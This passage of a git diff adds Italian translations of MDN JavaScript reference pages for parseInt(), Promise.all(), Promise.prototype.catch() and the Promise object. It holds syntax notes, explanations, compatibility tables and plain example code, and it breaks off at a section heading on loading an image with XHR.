+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_Also" name="See_Also">Leggi anche:</h2>
+<ul>
+ <li>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("Number.parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseInt()")}}</li>
+ <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/parseint/index.html b/files/it/web/javascript/reference/global_objects/parseint/index.html
new file mode 100644
index 0000000000..c6300b4b3e
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/parseint/index.html
@@ -0,0 +1,190 @@
+---
+title: parseInt()
+slug: Web/JavaScript/Reference/Global_Objects/parseInt
+translation_of: Web/JavaScript/Reference/Global_Objects/parseInt
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>La funzione <code><strong>parseInt()</strong></code> analizza un argomento stringa e restituisce un numero intero della radice specificata (la base nei sistemi numerici matematici).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-parseint.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">parseInt(<em>string</em>, <em>radix</em>);</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>string</code></dt>
+ <dd>Il valore da analizzare. Se l'argomento <code>string</code> non è una stringa, viene convertito in una stringa (utilizzando l'operazione astratta <code><a href="http://www.ecma-international.org/ecma-262/6.0/#sec-tostring">ToString</a></code>). Gli spazi bianchi iniziali nell'argomento stringa vengono ignorati.</dd>
+ <dt><code>radix</code></dt>
+ <dd>Un numero intero compreso tra 2 e 36 che rappresenta la <em>radice</em> (la base nei sistemi numerici matematici) della stringa sopra menzionata.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un numero intero analizzato dalla stringa specificata. Se il primo carattere non può essere convertito in un numero, viene restituito {{jsxref("NaN")}}.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>La funzione <code>parseInt</code> converte il suo primo argomento in una stringa, lo analizza e restituisce un numero intero o <code>NaN</code>. Se non è <code>NaN</code>, il valore restituito sarà l'intero che è il primo argomento preso come numero nella <em>radice</em> specificata (base). Ad esempio, una <em>radice</em> di 10 indica la conversione da un numero decimale, 8 ottali, 16 esadecimali e così via. Per le radici sopra <code>10</code>, le lettere dell'alfabeto indicano numeri maggiori di <code>9</code>. Ad esempio, per i numeri esadecimali (base 16), vengono utilizzate le lettere da <code>A</code> a <code>F</code>.</p>
+
+<p>Se <code>parseInt</code> incontra un carattere che non è un numero nella radice specificata, lo ignora e tutti i caratteri successivi e restituisce il valore intero analizzato fino a quel punto. <code>parseInt</code> tronca i numeri ai valori interi. Sono ammessi spazi iniziali e finali.</p>
+
+<p>Poiché alcuni numeri includono il carattere <code>e</code> nella loro rappresentazione di stringa (ad esempio <strong><code>6.022e23</code></strong>), l'uso di <code>parseInt</code> per troncare valori numerici produrrà risultati imprevisti se utilizzato su numeri molto grandi o molto piccoli. <code>parseInt</code> non dovrebbe essere usato come sostituto di {{jsxref("Math.floor()")}}.</p>
+
+<p>Se <em>radix</em> è <code>undefined</code> o 0 (o assente), JavaScript assume quanto segue:</p>
+
+<ul>
+ <li>Se l'input <code>string</code> inizia con "0x" o "0X", radix è 16 (esadecimale) e il resto della stringa viene analizzato.</li>
+ <li>Se l'input <code>string</code> inizia con "0", radix è otto (ottale) o 10 (decimale). Esattamente quale radix è scelto dipende dall'implementazione. ECMAScript 5 specifica che viene utilizzato 10 (decimale), ma non tutti i browser lo supportano ancora.  Per questo motivo <strong>specifica sempre una radice quando usi <code>parseInt</code></strong>.</li>
+ <li>Se l'input <code>string</code> inizia con qualsiasi altro valore, la radice è 10 (decimale).</li>
+</ul>
+
+<p>Se il primo carattere non può essere convertito in un numero, <code>parseInt</code> restituisce <code>NaN</code>.</p>
+
+<p>Per scopi aritmetici, il valore <code>NaN</code> vnon è un numero in nessuna radice. È possibile chiamare la funzione {{jsxref("isNaN")}} per determinare se il risultato di <code>parseInt</code> è <code>NaN</code>. Se <code>NaN</code> viene passato alle operazioni aritmetiche, i risultati dell'operazione saranno anche <code>NaN</code>.</p>
+
+<p>Per convertire il numero nella sua stringa letterale in una particolare radix, usa <code>intValue.toString(radix)</code>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Usare_parseInt">Usare parseInt</h3>
+
+<p>Tutti gli esempi seguenti restituiscono <strong><code>15</code></strong>:</p>
+
+<pre class="brush: js">parseInt('0xF', 16);
+parseInt('F', 16);
+parseInt('17', 8);
+parseInt(021, 8);
+parseInt('015', 10);   // parseInt(015, 10); ritornerà 15
+parseInt(15.99, 10);
+parseInt('15,123', 10);
+parseInt('FXX123', 16);
+parseInt('1111', 2);
+parseInt('15 * 3', 10);
+parseInt('15e2', 10);
+parseInt('15px', 10);
+parseInt('12', 13);
+</pre>
+
+<p>I seguenti esempi restituiscono tutti <strong><code>NaN</code></strong>:</p>
+
+<pre class="brush: js">parseInt('Hello', 8); // Non è un numero
+parseInt('546', 2);   // Le cifre non sono valide per le rappresentazioni binarie
+</pre>
+
+<p>Tutti gli esempi seguenti restituiscono <strong><code>-15</code></strong>:</p>
+
+<pre class="brush: js">parseInt('-F', 16);
+parseInt('-0F', 16);
+parseInt('-0XF', 16);
+parseInt(-15.1, 10);
+parseInt('-17', 8);
+parseInt('-15', 10);
+parseInt('-1111', 2);
+parseInt('-15e1', 10);
+parseInt('-12', 13);
+</pre>
+
+<p>Tutti gli esempi seguenti restituiscono <code><strong>4</strong></code>:</p>
+
+<pre class="brush: js">parseInt(4.7, 10);
+parseInt(4.7 * 1e22, 10); // Il numero molto grande diventa 4
+parseInt(0.00000000000434, 10); // Il numero molto piccolo diventa 4
+</pre>
+
+<p>L'esempio seguente restituisce <code><strong>224</strong></code>:</p>
+
+<pre class="brush: js">parseInt('0e0', 16);
+</pre>
+
+<h2 id="Interpretazioni_ottali_senza_radix">Interpretazioni ottali senza radix</h2>
+
+<p>Sebbene scoraggiato da ECMAScript 3 e proibito da ECMAScript 5, molte implementazioni interpretano una stringa numerica che inizia con uno <code>0</code> iniziale come ottale. Il seguente potrebbe avere un risultato ottale o potrebbe avere un risultato decimale. <strong>Specifica sempre una radice per evitare questo comportamento inaffidabile.</strong></p>
+
+<pre class="brush: js">parseInt('0e0'); // 0
+parseInt('08'); // 0, '8' non è una cifra ottale.
+</pre>
+
+<h3 id="ECMAScript_5_rimuove_l'interpretazione_ottale">ECMAScript 5 rimuove l'interpretazione ottale</h3>
+
+<p>La specifica ECMAScript 5 della funzione <code>parseInt</code> non consente più alle implementazioni di trattare le stringhe che iniziano con un carattere <code>0</code> come valori ottali. ECMAScript 5 afferma:</p>
+
+<p>La funzione <code>parseInt</code> produce un valore intero dettato dall'interpretazione del contenuto dell'argomento stringa in base alla radice specificata. Lo spazio bianco principale nella stringa viene ignorato. Se radix non è definito o <code>0</code>, si presume che sia <code>10</code> tranne quando il numero inizia con le coppie di caratteri <code>0x</code> o <code>0X</code>, nel qual caso si assume una radice di 16.</p>
+
+<p>Ciò differisce da ECMAScript 3, che scoraggiava, ma consentiva l'interpretazione ottale.</p>
+
+<p>Molte implementazioni non hanno adottato questo comportamento a partire dal 2013 e, poiché i browser più vecchi devono essere supportati, <strong>specificare sempre una radice.</strong></p>
+
+<h2 id="Una_funzione_di_analisi_più_rigorosa">Una funzione di analisi più rigorosa</h2>
+
+<p>A volte è utile avere un modo più rigoroso di analizzare i valori int. Le espressioni regolari possono aiutare:</p>
+
+<pre class="brush: js">var filterInt = function(value) {
+  if (/^(-|\+)?(\d+|Infinity)$/.test(value))
+    return Number(value);
+  return NaN;
+}
+
+console.log(filterInt('421'));               // 421
+console.log(filterInt('-421'));              // -421
+console.log(filterInt('+421'));              // 421
+console.log(filterInt('Infinity'));          // Infinity
+console.log(filterInt('421e+0'));            // NaN
+console.log(filterInt('421hop'));            // NaN
+console.log(filterInt('hop1.61803398875'));  // NaN
+console.log(filterInt('1.61803398875'));     // NaN
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.2', 'parseInt')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-parseint-string-radix', 'parseInt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-parseint-string-radix', 'parseInt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("javascript.builtins.parseInt")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseInt()")}}</li>
+ <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li>
+ <li>{{jsxref("Number.toString()")}}</li>
+ <li>{{jsxref("Object.valueOf")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/promise/all/index.html b/files/it/web/javascript/reference/global_objects/promise/all/index.html
new file mode 100644
index 0000000000..4d1c9a970c
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/promise/all/index.html
@@ -0,0 +1,110 @@
+---
+title: Promise.all()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/all
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/all
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>Promise.all(iterable)</strong></code> restituisce una singola promise che viene risolta quando tutte le promise nell'iterable passate come parametro vengono risolte. Scatena una reject contenente la ragione della prima promise che viene respinta.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>Promise.all(iterable)</var>;</pre>
+
+<h3 id="Parameteri">Parameteri</h3>
+
+<dl>
+ <dt>iterable</dt>
+ <dd>Un oggetto iterabile, come un {{jsxref("Array")}}. See <a href="/en-US/docs/Web/JavaScript/Guide/iterable">iterable</a>.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un {{jsxref("Promise")}} che viene risolto quando tutti i promise nell'iterable passato come parametro vengono risolti, o scatena una reject contenente la ragione del primo promise che viene rigettato</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il metodo <strong>Promise.all </strong>ritorna un array di valori ritornati dai promise nell oggetto iterable che ha ricevuto. L'array dei valori ritornati mantiene lo stesso ordine dell'oggetto iterable originario e non l'ordine di risoluzione dei promise. Se uno dei valori dell'oggetto iterabile passato come parametro non un promise viene automaticamente convertito con {{jsxref("Promise.resolve")}}. </p>
+
+<p>Se uno qualsiasi dei promise passati viene rigettato, il metodo <code>all</code> Promise viene rigettato automaticamente con il valore del promise rigettato, scartando tutti i promise indipendentemente dal fatto che gli altri siano stati risolti o meno. Se viene passato un un array vuoto, allora questo metodo ritorna immediatamente.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Usare_Promise.all">Usare <code>Promise.all</code></h3>
+
+<p><code>Il metodo Promise.all</code> aspetta la risoluzione di tutti i promise  (od il primo che viene rigettato).</p>
+
+<pre class="brush: js">var p1 = Promise.resolve(3);
+var p2 = 1337;
+var p3 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 100, "foo");
+});
+
+Promise.all([p1, p2, p3]).then(values =&gt; {
+  console.log(values); // [3, 1337, "foo"]
+});</pre>
+
+<h3 id="Promise.all_comportamento_fail-fast"><code>Promise.all</code> comportamento fail-fast</h3>
+
+<p>Il metodo <code>Promise.all</code> viene rigettato se uno degli elementi viene rigettato e <code>Promise.all</code> viene rigettato immediatamente. In caso quattro promise vengono risolti dopo un  timeout, e uno viene rigettato immediatamente: allora <code>Promise.all</code> viene rigettato immediamente.</p>
+
+<pre class="brush: js">var p1 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 1000, "one");
+});
+var p2 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 2000, "two");
+});
+var p3 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 3000, "three");
+});
+var p4 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 4000, "four");
+});
+var p5 = new Promise((resolve, reject) =&gt; {
+  reject("reject");
+});
+
+Promise.all([p1, p2, p3, p4, p5]).then(value =&gt; {
+  console.log(value);
+}, reason =&gt; {
+  console.log(reason)
+});
+
+//From console:
+//"reject"
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.all', 'Promise.all')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definizione iniziale nello standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.all', 'Promise.all')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilitá_dei_browser">Compatibilitá dei browser</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this file: <a href="https://github.com/mdn/browser-compat-data/blob/master/javascript/promise.json">https://github.com/mdn/browser-compat-data/blob/master/javascript/promise.json</a>.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.race()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/promise/catch/index.html b/files/it/web/javascript/reference/global_objects/promise/catch/index.html
new file mode 100644
index 0000000000..0b9b906153
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/promise/catch/index.html
@@ -0,0 +1,124 @@
+---
+title: Promise.prototype.catch()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/catch
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/catch
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <strong>catch()</strong> restituisce una <code>Promise</code> e si occusa esclusivamente nei casi respinti. Si comporta come una chiamata {{jsxref("Promise.then", "Promise.prototype.then(undefined, onRejected)")}}.</p>
+
+<p> </p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>p.catch(onRejected)</var>;
+
+p.catch(function(reason) {
+   // rejection
+});
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt>onRejected</dt>
+ <dd>Una {{jsxref("Function")}} chiamata quando la <code>Promise</code> viene respinta. Questa funzione richiede un parametro, la motivazione della respinta.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il metodo <code>catch</code> può essere utile per gestire errori nella composizione delle promise.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Uso_del_metodo_catch">Uso del metodo catch</h3>
+
+<pre class="brush: js">var p1 = new Promise(function(resolve, reject) {
+  resolve("Success");
+});
+
+p1.then(function(value) {
+  console.log(value); // "Success!"
+  throw "oh, no!";
+}).catch(function(e) {
+  console.log(e); // "oh, no!"
+});
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.prototype.catch', 'Promise.prototype.catch')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition in an ECMA standard.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>32</td>
+   <td>{{CompatGeckoDesktop(29.0)}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>19</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(29.0)}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+   <td>32</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko 24 has an experimental implementation of <code>Promise</code>, under the initial name of <code>Future</code>. It got renamed to its final name in Gecko 25, but disabled by default behind the flag <code>dom.promise.enabled</code>. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=918806">Bug 918806</a> enabled Promises by default in Gecko 29.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.prototype.then()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/promise/index.html b/files/it/web/javascript/reference/global_objects/promise/index.html
new file mode 100644
index 0000000000..d2f579bc51
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/promise/index.html
@@ -0,0 +1,248 @@
+---
+title: Promise
+slug: Web/JavaScript/Reference/Global_Objects/Promise
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Promise
+  - async
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise
+---
+<div>{{JSRef}}</div>
+
+<p>Gli oggetti <strong><code>Promise</code></strong> sono usati per computazioni in differita e asincrone. Una <code>Promise</code> rappresenta un'operazione che non è ancora completata, ma lo sarà in futuro.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="brush: js">new Promise(function(resolve, reject) { ... });</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt>executor</dt>
+ <dd>
+ <p>Una funzione che ha due argomenti: <code>resolve</code> e <code>reject</code>.  Tale funzione viene chiamata immediatamente dall'implementazione della Promise, passando i due argomenti <code>resolve</code> e <code>reject,</code> che sono due funzioni. Le due funzioni <code>resolve</code> e <code>reject</code>, quando chiamate, risolvono o rigettano la promise. L'esecutore inizia del lavoro (solitamente asincrono), e, una volta completato, chiama <code>resolve</code> per risolvere la promise, o <code>reject</code> se c'è stato qualche errore. Se un errore viene sollevato nella funzione di esecuzione <code>(executor)</code> la promise viene rigettata.</p>
+ </dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Una <code><strong>Promise</strong></code> rappresenta un proxy per un valore non necessariamente noto quando la promise è stata creata.  Consente di associare degli handlers con il successo o il fallimento di un'azione asincrona  (e il "valore" in caso di successo, o la motivazione in caso di fallimento). Questo in pratica consente di utilizzare dei metodi asincroni di fatto come se fossero sincroni: la funzione che compie del lavoro asincrono non ritorna il valore di completamento ma ritorna una <em>promise</em>, tramite la quale si potrà ottenere il valore di completamento una volta che la promise sarà terminata.</p>
+
+<p>Una <code>Promise</code> può presentarsi in uno dei seguenti stati:</p>
+
+<ul>
+ <li><em>pending </em>(attesa): stato iniziale, né soddisfatto né respinto.</li>
+ <li><em>fulfilled </em>(soddisfatto): significa che l'operazione si è conclusa con sucesso.</li>
+ <li><em>rejected</em> (respinto): significa che l'operazione à fallita.</li>
+</ul>
+
+<p>Una promise in <em>pending</em> può evolvere sia in <em>fulfilled </em>con un valore, sia in <em>rejected</em> con una motivazione (errore). Quando accade una di queste situazioni, vengono chiamati gli handler associati che sono stati accodati dal metodo <code>then</code> della promise. (Se la promise è già stata soddisfatta o respinta quando viene agganciato l'handler, quest'ultimo verrà chiamato immediatamente, quindi non è necessario che gli handler vengano agganciati prima del completamento dell'operazione asincrona).</p>
+
+<p><font face="Open Sans, Arial, sans-serif">Poichè i metodi </font><code>{{jsxref("Promise.then", "Promise.prototype.then")}}</code> e <code>{{jsxref("Promise.catch", "Promise.prototype.catch")}}</code> restituiscono delle promise, è possibile concatenarli tramite l'operazione di <em>composition</em>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png"></p>
+
+<div class="note">
+<p><strong>Da non confondere con: </strong>molti altri linguaggi hanno meccanismi simili per la lazy evaluation ed il calcolo differito, che a loro volta vengono chiamati "promise" (es. Schemes). Le Promise in Javascript rappresentano un processo che è gia accaduto, che può essere concatenato con delle funzioni di callback. Se stai cercando di eseguire una lazy evaluation (valutazione non immediata) di un'espressione, considera l'utilizzo delle <a href="https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Functions_and_function_scope/Arrow_functions">arrow function</a> senza argomenti: <code>f = () =&gt; <em>expression</em></code> per creare un'espressione non valutata immediatamente (lazy-evaluated) ed usare <code>f()</code> per valutarla.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Si dice che una promise è "ferma" (<em>settled) </em>se è soddisfatta o respinta, ma non in <em>pending</em>. Si può parlare anche di promessa "risolta" (<em>resolved</em>) quando la promise è ferma o è bloccata in una catena di promise. <a href="https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md">States and fates</a> di Domenic Denicola contiene maggiori dettagli sulla terminologia riguardo le promise.</p>
+</div>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<dl>
+ <dt><code>Promise.length</code></dt>
+ <dd>La proprietà length (lunghezza) ha come valore 1 (numero di argomenti del costruttore).</dd>
+ <dt>{{jsxref("Promise.prototype")}}</dt>
+ <dd>Rappresenta il prototype per il costruttore della <code>Promise</code>.</dd>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<dl>
+ <dt>{{jsxref("Promise.all", "Promise.all(iterable)")}}</dt>
+ <dd>Ritorna una promise che si risolve quando tutte le promises dell'argomento iterabile sono state risolte. Oppure, viene rigettato appena una promise dell'argomento di tipo <code>Iterable</code> viene rigettato. Se tutto va a buon fine, la promise viene completata con un array contenente i valori di completamento di ciascuna promise dell'iterable, nello stesso ordine di quello dell'iterable. In caso fallisca (cioè appena una prima promise dell'iterable fallisce), Promise.all viene rigettato con la ragione (errore) della prima promise che ha fallito. Questo è utile per aggregare insieme il risultato di più promises.</dd>
+ <dt>{{jsxref("Promise.race", "Promise.race(iterable)")}}</dt>
+ <dd>Restituisce una promise che si risolve o respinge, non appena una delle promises dell'iterable si risolve o respinge, con il valore o la motivazione da quella promise.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Promise.reject", "Promise.reject(reason)")}}</dt>
+ <dd>Restituisce un oggetto <code>Promise</code> che è respinta con la data motivazione.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Promise.resolve", "Promise.resolve(value)")}}</dt>
+ <dd>Restituise un oggetto <code>Promise</code> che è risolto con il valore dato. Se il valore é un thenable (es. ha un metodo <code>then</code>), la promise restituita "seguirà" quel thenable, usando il suo stato; altirmenti la promise restituita sarà soddisfatta con il valore. Generalmente, se non sei sicuro che un valore sia di tipo Promise usa {{jsxref("Promise.resolve", "Promise.resolve(value)")}} e lavora con il valore restituito dalla promise.</dd>
+</dl>
+
+<h2 id="Promise_prototype">Promise prototype</h2>
+
+<h3 id="Proprietà_2">Proprietà</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Promise/prototype','Properties')}}</p>
+
+<h3 id="Metodi_2">Metodi</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Promise/prototype','Methods')}}</p>
+
+<h2 id="Creazione_di_una_Promise">Creazione di una Promise</h2>
+
+<p>Un oggetto di tipo <code>Promise</code>, viene creato con la keyowrd <code>new</code> ed il suo costruttore. Questo costruttore accetta come argomento una funzione, chiamata "<code>funzione esecutore (executor function)</code>". Questa funzione accetta altre due funzioni come parametri. La prima (<code>resolve</code>) viene eseguita in modo asincrono quando l'operazione viene eseguita con successo e restituisce il risultato dell'operazione come valore. La seconda (<code>reject</code>) viene eseguita nel caso in cui l'operazione fallisca e restituisce il motivo per cui l'operazione non è stata eseguita: generalmente un oggetto di tipo <code>Error</code></p>
+
+<pre class="brush: js" dir="rtl">const myFirstPromise = new Promise((resolve, reject) =&gt; {
+  // esegue qualcosa di asincrono che eventualmente chiama:
+  //
+     resolve(someValue); // fulfilled
+  // oppure
+     reject("motivo del fallimento"); // rejected
+});</pre>
+
+<p>Per creare una funzione con il comportamento di Promise, semplicemente restituisci una promise</p>
+
+<pre class="brush: js">function myAsyncFunction(url) {
+  return new Promise((resolve, reject) =&gt; {
+    const xhr = new XMLHttpRequest();
+    xhr.open("GET", url);
+    xhr.onload = () =&gt; resolve(xhr.responseText);
+    xhr.onerror = () =&gt; reject(xhr.statusText);
+    xhr.send();
+  });
+}</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Esempio_semplice">Esempio semplice</h3>
+
+<pre class="brush: js">let myFirstPromise = new Promise((resolve, reject) =&gt; {
+  // Chiamiamo resolve(...) quando viene eseguito correttamente, e reject(...) quando fallisce.
+  // In questo esempio viene utilizzato setTimeout(...) per simulare un'operazione asincrona.
+  // Nella realtà probabilmente utilizzerai qualcosa del tipo XHR o HTML5 API.
+  setTimeout(function(){
+    resolve("Success!"); // È andato tutto perfettamente!
+  }, 250);
+});
+
+myFirstPromise.then((successMessage) =&gt; {
+  // successMessage viene passato alla funzione resolve(...) .
+  // Non deve essere necessariamente una stringa, ma nel caso sia solo un messaggio probabilmemte lo sarà.
+  console.log("Yay! " + successMessage);
+});</pre>
+
+<h3 id="Esempio_avanzato">Esempio avanzato</h3>
+
+<pre class="brush: html">&lt;button id="btn"&gt;Make a promise!&lt;/button&gt;
+&lt;div id="log"&gt;&lt;/div&gt;</pre>
+
+<p>Questo piccolo esempio mostra il meccanismo delle <code>Promise</code>. Il metodo <code>testPromise()</code> viene richiamato ogni volta che il {{HTMLElement("button")}} viene cliccato. Crea una promise che viene risolta correttamente (fulfilled), utilizzando {{domxref("window.setTimeout()")}} che incrementa il contatore ogni 1-3 secondi (random). Il costruttore <code>Promise</code> viene utilizzato per creare la promise.</p>
+
+<p>La risoluzione della promise viene semplicemente loggata tramite una funzione di callback <code>fulfill</code> {{jsxref("Promise.prototype.then()","p1.then()")}}. Una serie di log mostrano che il comportamento sincrono del metodo è disaccoppiato rispetto all'esecuzione asincrona della promise.</p>
+
+<pre class="brush: js">'use strict';
+var promiseCount = 0;
+
+function testPromise() {
+    let thisPromiseCount = ++promiseCount;
+
+    let log = document.getElementById('log');
+    log.insertAdjacentHTML('beforeend', thisPromiseCount +
+        ') Started (&lt;small&gt;Sync code started&lt;/small&gt;)&lt;br/&gt;');
+
+    // We make a new promise: we promise a numeric count of this promise, starting from 1 (after waiting 3s)
+    let p1 = new Promise(
+        // The resolver function is called with the ability to resolve or
+        // reject the promise
+       (resolve, reject) =&gt; {
+            log.insertAdjacentHTML('beforeend', thisPromiseCount +
+                ') Promise started (&lt;small&gt;Async code started&lt;/small&gt;)&lt;br/&gt;');
+            // This is only an example to create asynchronism
+            window.setTimeout(
+                function() {
+                    // We fulfill the promise !
+                    resolve(thisPromiseCount);
+                }, Math.random() * 2000 + 1000);
+        }
+    );
+
+    // We define what to do when the promise is resolved with the then() call,
+    // and what to do when the promise is rejected with the catch() call
+    p1.then(
+        // Log the fulfillment value
+        function(val) {
+            log.insertAdjacentHTML('beforeend', val +
+                ') Promise fulfilled (&lt;small&gt;Async code terminated&lt;/small&gt;)&lt;br/&gt;');
+        }).catch(
+        // Log the rejection reason
+       (reason) =&gt; {
+            console.log('Handle rejected promise ('+reason+') here.');
+        });
+
+    log.insertAdjacentHTML('beforeend', thisPromiseCount +
+        ') Promise made (&lt;small&gt;Sync code terminated&lt;/small&gt;)&lt;br/&gt;');
+}
+
+
+
+if ("Promise" in window) {
+  let btn = document.getElementById("btn");
+  btn.addEventListener("click",testPromise);
+} else {
+  log = document.getElementById('log');
+  log.innerHTML = "Live example not available as your browser doesn't support the &lt;code&gt;Promise&lt;code&gt; interface.";
+}</pre>
+
+<p>In questo esempio si comincia cliccando il bottone. Per testare necessiti di un browser che supporta le <code>Promise</code>. Cliccando il bottone diverse volte in un lasso di tempo breve vedrai che le funzioni verranno risolte una dopo l'altra.</p>
+
+<h2 id="Caricare_un'immagine_con_XHR">Caricare un'immagine con XHR</h2>
+
